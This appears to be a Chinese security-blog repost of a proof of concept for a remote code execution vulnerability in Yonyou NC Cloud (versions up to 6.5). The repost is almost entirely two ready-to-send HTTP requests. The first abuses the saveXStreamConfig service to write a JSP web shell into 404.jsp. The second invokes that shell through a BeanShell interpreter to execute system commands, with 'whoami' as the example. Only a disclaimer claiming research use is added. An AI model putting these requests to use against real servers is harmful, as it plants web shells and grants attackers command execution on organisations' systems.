影响版本 | version <= 6.5 |
【POC】
POST
/uapjs/jsinvoke/?action=invoke
HTTP/1.1
Host
: ip:port
Cache-Control
: max-age=0
Upgrade-Insecure-Requests
: 1
User-Agent
: Mozilla/5.0
Accept
: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding
: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection
: close
Content-Type
: application/x-www-form-urlencoded
Content-Length
: 247
{
"serviceName"
:
"nc.itf.iufo.IBaseSPService"
,
"methodName"
:
"saveXStreamConfig"
,
"parameterTypes"
:[
"java.lang.Object"
,
"java.lang.String"
],
"parameters"
:[
"${param.getClass().forName(param.error).newInstance().eval(param.cmd)}"
,
"webapps/nc_web/404.jsp"
]}
POST
/404.jsp?error=bsh.Interpreter
HTTP/1.1
Host
: ip:prot
Cache-Control
: max-age=0
Upgrade-Insecure-Requests
: 1
User-Agent
: Mozilla/5.0
Accept
: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding
: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection
: close
Content-Type
: application/x-www-form-urlencoded
Content-Length
: 247
cmd
=org.apache.commons.io.IOUtils.toString(Runtime.getRuntime().exec(
"whoami"
).getInputStream())
原文始发于微信公众号(MaLoSec):用友NC Cloud远程代码执行漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论